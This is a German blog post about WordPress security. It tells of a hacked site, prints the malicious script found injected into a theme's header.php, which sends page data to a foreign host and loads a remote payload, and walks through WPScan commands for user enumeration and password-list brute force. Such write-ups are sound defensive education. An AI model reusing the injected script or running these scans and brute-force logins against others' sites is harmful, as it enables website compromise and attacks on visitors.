WPScan, WordPress und Du

WPScan

WPScan

Viele von euch haben ein paar WordPress Sites. WordPress ist so ein System, mit dem eigentlich jeder einmal etwas zu tun hat oder hatte, der eine eigene Website betreibt. Auch wenn es am Ende dann doch vielleicht Typo3, Drupal, Joomla, Grav oder ein ganz anderes System wird, WordPress probiert fast jeder mal aus und ist auch meist sofort begeistert.

Ich habe mir im Laufe der letzten Jahre ebenfalls so ein paar WordPress Sites „eingetreten/angelacht“. Das Blog vom Nachbarn, die Ferienhaus Site eines Bekannten, die WordPress Installation für dieses kleine Projekt, dass dann schnell mehrsprachig wird, viele Nutzer hat aber immer noch kein Budget und natürlich auch mein eigenes Blog. Ich vermute du kennst den Effekt. WordPress ist einfach zu installieren, schön anzusehen, schnell und gut bedienbar. Die Updates und Upgrades funktionieren problemlos und sogar automatisch, wenn man es entsprechend konfiguriert.

Vor ein paar Monaten hatte ich dann plötzlich eine veränderte Datei in einer meiner WordPress Installationen. Ich lasse alle Updates automatisch machen und wurde erst aufmerksam, als mich ein Bekannter darauf hinwies, dass sein Virenscanner anspringt, wenn er diese Website aufruft.

Ich fand tatsächlich diesen Quellcode in der header.php Datei des Templates

<script>var a=“; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = „http://hosting.e-sens.co.kr/js/jquery.min.php„; var n_url = base + „?default_keyword=“ + default_keyword + „&se_referrer=“ + se_referrer + „&source=“ + host; var f_url = base + „?c_utt=snt2014&c_utm=“ + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== “ && se_referrer !== null && se_referrer !== “){document.write(‚<script type=“text/javascript“ src=“‚ + f_url + ‚“>‘ + ‚<‚ + ‚/script>‘);}</script>

Beim Aufruf der Site wird von einer anderen Site etwas geladen. Der geladene Code macht dann böse Dinge auf dem Rechner des Besuchers. Exakt das fiese Szenario, das ich bereits im Updates und Upgrades bei WordPress, Joomla und Drupal – Artikel ansprach.

Das WordPress Projekt hat eine FAQ zum Thema: Help, I think I’ve been hacked, die jeder lesen sollte, der eine WordPress Site betreibt. So eine FAQ gibt es auch für Joomla, Drupal und Typo3 und ein Hack kann bei jedem System passieren.

Nochmal ganz deutlich:

Jede Software hat Schwachstellen und jede Software muss hin und wieder mit Sicherheitsaktualisierungen auf den neuesten Stand gebracht werden.

WordPress dient hier nur als Aufhänger, weil es mich gerade selbst erwischte. Mein „Fall“ endete übrigens mit einer kompletten Neuinstallation der Site.

Was ist WPScan?

WPScan ist ein Schwachstellen Scanner für WordPress. Das Programm ist in Ruby geschrieben und existiert seit fünf Jahren. WPScan ist Open Source Software und nutzt die Daten der gleichnamigen Datenbank (WPScan Vulnerability Database) um eine WordPress Installation zu scannen. Die Datenbank enthält Informationen über Schwachstellen des WordPress Core, von Plugins und Themes. Hier als Beispiel ein Screenshot mit einer Liste von Schwachstellen von Plugins, die mit dem Buchstaben I beginnen.

WordPress Plugin Vulnerabilities
WordPress Plugin Vulnerabilities
Du kannst dich über neue Schwachstellen per E-Mail benachrichtigen lassen.

WPScan nutzen

WPScan läuft überall, wo Ruby läuft, eine genaue Anleitung für dein Betriebssystem findest du auf der Projektseite http://wpscan.org/.

Bevor WPScan genutzt wird, sollte immer die Datenbank aktualisiert werden. Dazu mußt du im Terminal in das Verzeichnis wpscan gehen

cd wpscan

die aktuelle Version von Github laden und die Datenbank aktualisieren:

git pull
ruby wpscan.rb --update

Das Ergebnis sieht so aus:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

WordPress Website scannen

Jetzt kann es losgehen und ich kann meine WordPress Site mit dem folgenden Befehl scannen:

ruby wpscan.rb --url https://hagen.cocoate.com

Als ich das Programm zum ersten Mal ausführte, wurde mir schon etwas mulmig bei dem Gedanken, dass das jeder zu jeder Zeit machen kann und das zahlreiche Bots das auch pausenlos tun! Hier das Ergebnis:

_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: https://hagen.cocoate.com/
[+] Started: Fri Jan 29 19:35:15 2016

[+] robots.txt available under: 'https://hagen.cocoate.com/robots.txt'
[+] Interesting entry from robots.txt: https://hagen.cocoate.com/wp-admin/admin-ajax.php
[+] Interesting header: LINK: <https://hagen.cocoate.com/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.14
[!] Registration is enabled: https://hagen.cocoate.com/wp-login.php?action=register
[+] XML-RPC Interface available under: https://hagen.cocoate.com/xmlrpc.php

[+] WordPress version 4.4.1 identified from advanced fingerprinting

[+] WordPress theme in use: twentysixteen - v1.1

[+] Name: twentysixteen - v1.1
 |  Latest version: 1.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/themes/twentysixteen/
 |  Readme: https://hagen.cocoate.com/wp-content/themes/twentysixteen/readme.txt
 |  Style URL: https://hagen.cocoate.com/wp-content/themes/twentysixteen/style.css
 |  Theme Name: Twenty Sixteen
 |  Theme URI: https://wordpress.org/themes/twentysixteen/
 |  Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthe...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 4 plugins found:

[+] Name: category-rss-widget-menu - v1.0
 |  Latest version: v1.0 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/category-rss-widget-menu/readme.txt

[+] Name: jetpack - v3.9.1
 |  Latest version: 3.9.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/jetpack/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/jetpack/readme.txt
 |  Changelog: https://hagen.cocoate.com/wp-content/plugins/jetpack/changelog.txt

[+] Name: page-views-count - v1.3.2
 |  Latest version: 1.3.2 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/page-views-count/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/page-views-count/readme.txt

[+] Name: simple-flickr-widget - v1.0.1
 |  Latest version: 1.0.1 (up to date)
 |  Location: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/
 |  Readme: https://hagen.cocoate.com/wp-content/plugins/simple-flickr-widget/readme.txt

[+] Finished: Fri Jan 29 19:35:31 2016
[+] Requests Done: 57
[+] Memory used: 127.07 MB
[+] Elapsed time: 00:00:16

Du siehst, die Zusammensetzung deiner Website ist ziemlich transparent auslesbar.

Schwachstellen finden

Wenn du nur an den verwundbaren Plugins (vulnerable plugins) interessiert bist, sieht der Aufruf so aus:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vp

die verwundbaren Themes (vulnerable themes) findest du mit diesem Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate vt

Benutznamen finden

Das Script findet meistens auch Benutzernamen und stellt sie in einer Tabelle dar. Hierzu benötigt man diesen Befehl:

ruby wpscan.rb --url http://yourwebsite.com --enumerate u

Die Ausgabe sieht beispielsweise so aus:

[+] Identified the following 3 user/s:
    +----+-----------+--------------+
    | Id | Login     | Name         |
    +----+-----------+--------------+
    | 1  | admin     | Dr. Meier    |
    | 2  | old_john  | Old_John     |
    | 3  | oliver    | Oliver Meier |
    +----+-----------+--------------+
[!] Default first WordPress username 'admin' is still used

Spätestens an dieser Stelle solltest du dir Gedanken über die Tatsache machen, dass auch unfreundliche Menschen solche Scripte nutzen.

Der nächste Schritt eines Angreifers wäre die Nutzung einer Datei mit Passworten um sich auf deiner Site anzumelden.

Der passende Befehl ist

ruby wpscan.rb --url http://yourwebsite.com --wordlist passwords.txt threads 50

und Listen mit Passworten findet man leicht im Netz.

Fazit

Es ist relativ einfach, Informationen über deine Website zu erhalten. Solche Scripte gibt es für viele gängige Content Management Systeme und es ist nicht kaum möglich, die Zugriffe effektiv zu verhindern, weil die Daten deiner Website öffentlich im Netz stehen und der Source Code des Scripts änderbar ist. Denke einfach über regelmässige Updates und sichere Passworte nach.

Links


tl;dr: WPScan zeigt Informationen über deine WordPress Installation und regt zum Nachdenken an.

Autor: Hagen Graf

consultant, author, trainer, solution finder, web architect, developer, open source lover, visionary, orator, the good old webmaster. Able to simplify!

Kommentar verfassen